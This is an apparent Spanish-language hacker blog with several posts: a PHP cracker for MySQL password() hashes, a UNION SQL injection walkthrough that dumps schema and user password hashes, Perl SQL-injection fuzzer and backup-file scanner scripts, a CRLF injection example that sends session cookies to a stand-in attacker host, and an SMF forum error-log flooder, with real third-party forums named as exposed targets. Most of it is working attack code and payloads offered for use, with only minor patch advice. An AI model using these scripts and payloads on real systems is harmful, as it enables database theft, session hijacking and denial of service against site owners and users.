Jaquemate

Posted on 11:36 by Xianur0


Se que no cree este Blog para esto, pero quiero que comprendan un poco el por que de mis acciones.... un Verso de mi autoria:


Sueña que hay por que vivir
sueña que alguien te regalara una emoción
sueña que alguien cree en ti
aunque simplemente te quieran destruir
sin importar lo que piensen nosotros existimos
no somos nadie al nacer
solo queda ser leyenda
no somos nadie si nada hacemos
juega este juego que es la vida
cree en que hay esperanza, pero no la hay
has de este mundo tu tablero
no temas mover las piezas del destino
tan solo gana
no temas sacrificar algo
por que nada es permanente
al final en esta vida el juego es sobrevivir
Eres dios o solo un perdedor?
Ganadores somos los que queremos serlo
y los demás nuestros peones
En este juego del destino solo queda ganar o morir
Al Final una explosión pasajera de imágenes
Que con Mi puño cambiare
Forja el Destino cual espada
Y Recuerda por que estas aquí
Aprende de tus errores y Gana la partida
La Victoria es nuestra
Tu alma me pertenecerá si te equivocas
Nadie esperara tu turno
Siempre eres vulnerable
Haste fuerte o Muere
Por que el Juego Comienza!


No seré Tan Solo Un Peón!

Crackeador password() MySQL

Posted on 17:32 by Xianur0

Por Correo me pidieron el crackeador con insistencia, así que en un tiempo libre que logre hacerme, hice este crackeador, el cual necesita una base de datos txt y un servidor MySQL (sirve permisos nobody):


<html>
<body>
<?php
$server = "localhost";
$usuario = "nobody";
$password = "";
$diccionario = "diccionario.txt";

if(is_array($_GET['hash'])) { print "Intento de Path Disclosure Detectado!\n"; exit; } else { $hash = $_GET['hash'];}
if(eregi("[SELECT]+[UNION]+[AND]+[OR]+[)]", $hash)) exit;
htmlentities($hash);
$link = mysql_connect($server, $usuario, $password);
if(!mysql_real_escape_string($hash, $link)) exit;
$archivo = file($diccionario);
foreach($archivo as $n=>$linea) {
$resultado = mysql_query("SELECT password('$linea')", $link);
while ($row = mysql_fetch_row($resultado)){
if($row[0] == $hash) {
die("<b>Password Encontrada:</b> $linea\n<br><b>Passwords Probadas:</b> $n\n<br>");
}
}}
?>
</body>
</html>

Ejemplo:

http://127.0.0.1/crackeador.php?hash=*E30E2ECBF3FC6D46D4239C068C14E6A202B1019B

Resultado:

Password Encontrada: xianur0
Passwords Probadas: 0

(lo encontró en el primer dato que leio xD...)

Suponiendo que tenemos una SQL Injection, pero no encontramos datos útiles, para ello tenemos muchas opciones que muchas veces están por default en los servidores, y otras tablas de administradores de archivos/bases de datos, también nos son útiles:

  • information_schema
  • mysql
  • etc....
Comenzaremos con la information_schema:

Tablas:

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS


Comenzaremos identificando las tablas que hay y en que DB's se encuentran, pero para ello necesitamos un script vulnerable para practicar:


Estructura de la DB:

use test;
CREATE TABLE `usuarios` (
`id` int(11) NOT NULL auto_increment,
`nombre` varchar(180) NOT NULL default '',
`email` varchar(50) NOT NULL default '',
PRIMARY KEY (`id`)
);
insert into usuarios values
(1, 'xianur0', 'uxmal666@gmail.com');
insert into usuarios values
(2, 'UxMal', 'uxmal666@gmail.com');

vuln.php

<?php
$id = $_GET['id'];
$conexion
= mysql_connect("localhost", "xianur0","mipassword");
mysql_select_db("test", $conexion);
$consulta
= "SELECT * FROM usuarios Where id = $id";
$resultado
= mysql_query($consulta, $conexion) or die(mysql_error());
$todo
= mysql_num_rows($resultado);
if ($todo> 0) {
$row = mysql_fetch_assoc($resultado);
echo "<strong>".$row['id']."</strong><br>";
echo "Nombre: ".$row['nombre']."<br>";
echo "Email: ".$row['email']."<br><br>";
}
?>

Hacemos la Consulta: http://127.0.0.1/vuln.php?id=1

Resultado:

1
Nombre: xianur0
Email: uxmal666@gmail.com

Comenzamos a Inyectar:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1

Resultado:
The used SELECT statements have a different number of columns

Podemos usar el fuzzer que también esta en este blog o hacerlo manualmente (como prefieran):

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1,1

Resultado:

1
Nombre: 1
Email: 1

Comenzamos a Sacar Datos:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,2,table_name/**/FROM/**/information_schema.tables

Resultado:

1
Nombre: 2
Email: CHARACTER_SETS

Bueno al no haber un error SQL y al responder con el nombre de una tabla, quiere decir que existe information_schema (valgame la redundancia), sigamos inyectando:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables

Donde: TABLE_SCHEMA es la DB y table_name es el nombre de la tabla.

Resultado:

information_schema
Nombre: 2
Email: CHARACTER_SETS

ya tenemos la primera tabla de esa DB (el information_schema no esta considerando la DB test).

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_name/**/NOT/**/IN/**/('CHARACTER_SETS')


Resultado:

information_schema
Nombre: 2
Email: COLLATIONS

ahora que si lo que queremos es saber cuales bases de datos existen:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema')

Resultado:

mysql
Nombre: 2
Email: db

Bueno tenemos ya 2 bases de datos:
mysql e information_schema, sigamos:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql')

Resultado:

phpmyadmin
Nombre: 2
Email: xianur0_bookmark

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin')

Resultado:

test
Nombre: 2
Email: usuarios


Bueno ahí esta la tabla inicial y la DB inicial...

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin','test')

Y ahora no nos devolverá nada (ya no hay base de datos), ahora vamos por columnas:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns

Resultado:

information_schema
Nombre: CHARACTER_SETS
Email: CHARACTER_SET_NAME

No es de gran utilidad esa informacion, pero si hacemos una sentencia mas exacta:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'

Resultado:

test
Nombre: usuarios
Email: id

Base de datos: test
Tabla: usuarios
Columna: id

Esto funciona como queremos por que solo existe una tabla en nuestra base de datos test, pero si existiese mas de una tabla y queremos saber específicamente las columnas de la tabla usuarios:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'

ahora saquemos la siguiente:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'/**/AND/**/COLUMN_NAME/**/NOT/**/IN/**/('id')

Resultado:

test
Nombre: usuarios
Email: nombre

Yo se que hay mil y una forma de obtener este resultado, pero no iré a conceptos, simplemente hablare de la técnica.

Ahora que para sacar las DB hay una forma mas facil (también basándose en el information_schema), esta otra forma es mediante la tabla schemata:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME/**/FROM/**/information_schema.schemata

y bueno el resto ya lo saben..

Busquen en google la estructura del information_schema o bien instalen el xampp (ese trae information_schema por default)

Ahora vamos con mysql

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Select_priv,Host/**/FROM/**/mysql.user

Resultado:

root��������������������������������������������
Nombre: Y
Email: localhost


podríamos intentar sacar la password, pero no en todos los MySQL Funciona...

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Password,Host/**/FROM/**/mysql.user


xianur0
Nombre: *CEE870801502ACAD44FA46CA2CA4F58C2B721A67
Email: localhost

El password que obtuvimos (si es que lo permitió el MySQL) esta encriptado por la funcion password() de mysql (no dire en este texto como desencriptarlo).

Obtengamos información:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Db,Select_priv/**/FROM/**/mysql.db

Resultado:

pma
Nombre: mysql
Email: N


Bueno hasta aquí dejare este texto, pero seguiré escribiendo algunas cosas útiles cuando tenga tiempo....

By Xianur0
http://xianur0.blogspot.com

#!/usr/bin/perl

#By Xianur0
#uxmal666@gmail.com
#http://xianur0.blogspot.com/

use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my $uri = $ARGV[0];
$uri = shift || die("Uso: fuzzer.pl [URI a SQL Injection]\n");
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16");
my $inyeccion = "-10/**/UNION/**/SELECT/**/0";
$uri = $uri.$inyeccion;
print $uri;
for($i=1; $i<1000;$i++) {
$uri = "$uri,$i";
$req = HTTP::Request->new(GET => $uri."/*");
print $uri."/*\n";
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content !~ "mysql_num_rows()") { die("Columna Encontrada: ".$uri."/*\n"); }
} else {
die("Servidor no responde Correctamente!\n"); }
}

Temp Searcher Perl

Posted on 19:02 by Xianur0

Busca Archivos temporales mediante diccionario y mediante spider:...

#!/usr/bin/perl

#Temp Searcher By Xianur0
#uxmal666@gmail.com

use LWP::UserAgent;
use Term::ANSIColor qw(:constants);

$Term::ANSIColor::AUTORESET = 1;
$ua = LWP::UserAgent->new;
my $web = $ARGV[0];
$web = shift || &uso;

sub uso { print "Uso: temsearch.pl [url]\n"; exit;}
$useragent = "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";
&tempse;
&spider();

sub tempse {
print RED "\nCargando Diccionario....\n";
my $temp;
open(TEMPS, "libs/temps.txt") || die "No existe la DB!\n";
while($temp = <TEMPS>){
chomp($temp);
my @datas = split("/", $web);
if($web =~ "http://") {
$host = $datas[2];
} else { $host = $datas[0];}
$tempurl = "http://".$host."/".$temp;
$req = HTTP::Request->new(GET => $tempurl);
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if ($res->is_success) {
print "Temp Encontrado: ".$tempurl."\n";
}
}
print RED "\nEjecutando Spider.......\n";
}

sub spider() {

my @nexo = ();
sub tags {
my($tag, %attr) = @_;
return if $tag ne 'a';
push(@nexo, values %attr);
}

$p = HTML::LinkExtor->new(\&tags);
$ua->agent($useragent);
$res = $ua->request(HTTP::Request->new(GET => $web),
sub {$p->parse($_[0])});
if(!$res->is_success) { print YELLOW "\nLa Web No Esta Respondiendo Correctamente!\n"; } else {
my $base = $res->base;
@nexo = map { $_ = url($_, $base)->abs; } @nexo;
foreach $url (@nexo) {
my @dat = split("/", $url);
if($dat[0] eq "") { $url = "http://".$host.$url;}
my @corregido = split(/\?/, $url);
$urls= $corregido[0]."~\n";
if(!$urll[$urls]) {
$urll[$urls] = $urls;
$req = HTTP::Request->new(GET => $urls);
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if ($res->is_success) {
print "Temp Encontrado: ".$urls."\n";
}
}
spider($urls);
}
}
}



El Diccionario (temps.txt):

index.php~
Settings.php~
sql.php~
sql.php.bak
sql_bak.php~
index.bak
index.php.bak
Settings.php.bak
Settings_bak.php~
db.php~
db.php.bak
db.bak
db_bak.php~

CRLF

Posted on 17:00 by Xianur0

CR: retorno de carro.
Carácter Hexadecimal: 0D.
Carácter Decimal: 13.


LF: Salto de Linea.
Carácter Hexadecimal: 0A.
Carácter Decimal: 10.

CRLF:

Combinación de códigos de control (CR y LF) por la cual se crea una nueva linea.

Explicación Técnica:

Esta combinacion de codigos de control pueden ser usados para crear una nueva linea en metodos computacionales.

Ejemplo:

Código:
<?php
('Location: '.$_GET['page']);
?>

Con ese codigo y la version PHP correcta podriamos crear un header adicional a base de este:

http://www.server.com/vulnerable.php?page=%0D%0ASet-Cookie: isadmin=yes

Con esto la respuesta HTTP seria algo como esto:

Código:
HTTP/1.1 302 Found
Location:
Set-Cookie: isadmin=yes

También podríamos usarlo para robar cookies:

Código:
<?php
include('sessid.php');
$domain = $_REQUEST['uri'];
$id=
header('Set-Cookie: domain='.$domain.'; SESSID='.$id);
?>

Código:
GET http://www.server.com/vulnerable.php?exploit=%0D%0ALocation: http://www.atacante.com/cookies.php?cookie= HTTP/1.1
Host: www.server.com



y la respuesta seria:

Código:
HTTP/1.1 302 Found
Set-Cookie: domain=
Location: http://www.atacante.com/cookies.php?cookie=SESSID=datos

bueno esos son solo ejemplos de esta clase de ataques, ahora vamos a los ejemplos y ataquemos a google news:

Código:
http://news.google.com.mx/news?xianur0%5B%0D%0AXianur0%15Was%10%10%15Here%15%43%4F%44%45%0D%0A%15%48%45%58%5D=%0D%0A

Y en el código fuente podremos encontrar:

Código:
<input type=hidden name="xianur0[
Xianur0 Was Here CODE
HEX]" value="

como verán hasta los %10 los interpreto Sonrisa.. aparentemente nada mas están filtradas las dobles comillas y los > y < (por el htmlentities que si valora el revisar caracteres hexadecimales).

Extencion de Contenido:

IMAP/SMTP Injection (Gracias a Inyexion por el link)

Error de Manejo Hexadecimal en Google News

Posted on 13:39 by Xianur0

Error de Manejo de Caracteres Hexadecimales en Google News:

Link demostración CRLF:
http://news.google.com.mx/news?xianur0[%0D%0AXianur0%15Was%10%10%15Here%15%43%4F%44%45%0D%0A%15%48%45%58]=%0D%0A


<input type=hidden name="xianur0[
Xianur0 Was Here CODE
HEX
]" value="

Como podrán notar hasta los caracteres en hexadecimal los interpreto, y envió incluso los %10 (DLE).

Bugs SMF

Posted on 15:03 by Xianur0

Algunos Bugs SMF


El Log de Errores guarda básicamente cualquier mínimo error causado por los usuarios, bueno y si lo saturamos?

http://web/foro/index.php?action=help;page[]=loginout
(Full path disclosure)
esto creara un registro de error en el log:

Citar
2: Illegal offset type in isset or empty
Archivo: /var/www/xxxxxxxxxxxxxx.com/htdocs/Sources/Help.php
Linea: 65
?action=help;page[]=loginout


Este error se encuentra en Sources/Help.php en la linea 65:
Código:

if (!isset($_GET['page']) || !isset($context['all_pages'][$_GET['page']]))
$_GET['page'] = 'index';


Parchando:
Bueno esta clase de bugs quedan corregidos con el parche de seguridad que hice para el SMF. Pero igualmente aquí esta el otro de parche que lo corrige (colocar en el index.php arriba de todo (después del <?php y del header de información)

Código:

function juackers() {
echo "<script>alert('desgraciado lammer, que intentas?');</script><h1>Que Lammer Eres!</h1>";
exit();
}
foreach ($_GET as $key => $value) {
if(is_array($_GET["$key"])) {
juackers();
}
}


pueden cambiar la variable globalizada $_GET por alguna otra como $_REQUEST, etc.

XSRF:

Bueno siempre que se tiene que remitir información mediante un post en un SMF hay 2 inputs que básicamente deberían de funcionar como captchas estos son: seqnum y sc

Código:

<input type="hidden" name="sc" value="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" />
<input type="hidden" name="seqnum" value="xxxxxxxx" />


Pero estos se pueden saltar mediante un XSRF (cross site request forgery). Suponiendo que creamos un socket en ajax, un usuario con permiso de enviar un mensaje, cerrar post, cambiar titulo, borrar foros, etc... entra a una pagina con el socket, al tener la cookie el socket podria hacer un GET a la pagina y mediante el código que recibe podría parsear y sacar estos 2 valores, después simplemente crea otro socket, esta vez que envie un post con el sc y el seqnum, entonces podriamos ordenar que haga lo que sea.

Flooder por log de errores:

Código:

#!/usr/bin/perl
use LWP::UserAgent;
sub uso { print "[-]Uso: smf.pl [dominio]\n"; exit; }
my $host = $ARGV[0];
$host = shift || &uso;
$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$texto = "Xianur0 Was Here" x 15;
$req = HTTP::Request->new(GET => 'http://xianur0.phpnet.us/index.php?action=help;page['.$texto.']=loginout');
$req->header('Accept' => 'text/html');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
for($i = 0; $i<10000; $i++) {
$res = $ua->request($req);
if ($res->is_success) {
print "Enviados:".$i."\n";
} else {
print "Error: " . $res->status_line . "\n";
}
}


Errores de manejo de paquetes:

Error de manejo de paquetes por temporal, el SMF al subir una modificación y ejecutarla, hace una copia de seguridad de cada archivo PHP que es tocado, pero al finalizar la modificación, no la borra, entonces esta puede ser accedida por cualquier otro usuario:

http://foro.infiernohacker.com/index.php~
http://foro.level-23.com/index.php~
http://foro.el-hacker.com/index.php~
http://www.mepisimo.com/forum/Settings.php~
http://www.erautomotriz.com/forum/index.php~ (Agregada por yxed)

Error de Permisos de Archivos:

Algunos Archivos del SMF no están protegidos como deberían, por ejemplo:

http://foro.infiernohacker.com/Packages/installed.list

Esto puede ser usado para scanneo por paquetes (muchos paquetes que son enviados a SMF tienen fallas de seguridad como son XSS, SQL Inyection y en algunos casos RFI)

Obteniendo Directorio del servidor (útil para atacar free hostings)

http://foro.infiernohacker.com/SSI.php?ssi_layers
Código:

Notice: Undefined variable: ssi_layers in /home/infierno/public_html/foro/SSI.php on line 99
Hacking attempt...


y también sirve para crear logs pesados ya que estos errores se guardan directamente en:

http://foro.infiernohacker.com/error_log

Matando Conexiones SQL


Código de Prueba: -1/**/union/**/select/**/1,memberName,passwd/**/from/**/smf_members/*

Introducimos ese código en el buscador y el resultado:

Código:

Database Error: Lost connection to MySQL server during query
File: /home/vol4/phpnet.us/x/xxxxxxxxxxxx/xxxxxxxxxxxx.phpnet.us/htdocs/Sources/Search.php
Line: 1099Database Error: MySQL server has gone away
File: /home/vol4/phpnet.us/x/xxxxxxxxxxxx/xxxxxxxxxxxx.phpnet.us/htdocs/Sources/Load.php
Line: 2005


la configuración del buscador varia, Esto mas que nada sucede en la versiones updateadas, es decir, actualizadas a la 1.1.4:
Dentro del:
?action=managesearch

tiene que estar desactivada la opción: Activar búsqueda simple (?)

iré agregando mas conforme los encuentre en la DB de pandora's Box (foro mio que cerré) jeje


agrego algo, también se pueden robar paquetes subidos al servidor:

en el Packages/installed.list
aparese la lista de paquetes y el nombre con que se subieron los archivos, por ejemplo:

Registered Links|^|registered links|^|vbgamer45:RegLinks|^|1.0
YouTube BBCode|^|youtube|^|karlbenson:youtubebbcode|^|1.6
Auto Embed Video Clips|^|AEVC_v2.1.2.zip|^|karlbenson:autoembedvideoclips|^|2.1.2
SMF 1.0.13 / 1.1.5 / 2.0 b3.1 Update|^|smf_patch_1.0.13_1.1.5_2.0-b3.1.zip|^|smf:smf-1.0.13-1.1.5-2.0.b3.1|^|1.0


entonces para descargar los paquetes seria:

Packages/nombre_paquete.zip

por ejemplo:

http://foro.infiernohacker.com/Packages/smf_patch_1.0.13_1.1.5_2.0-b3.1.zip

(pongo la web de infiernohacker sin ánimos de joder, simplemente es un ejemplo, y de paso si quieren parchar háganlo Sonrisa...)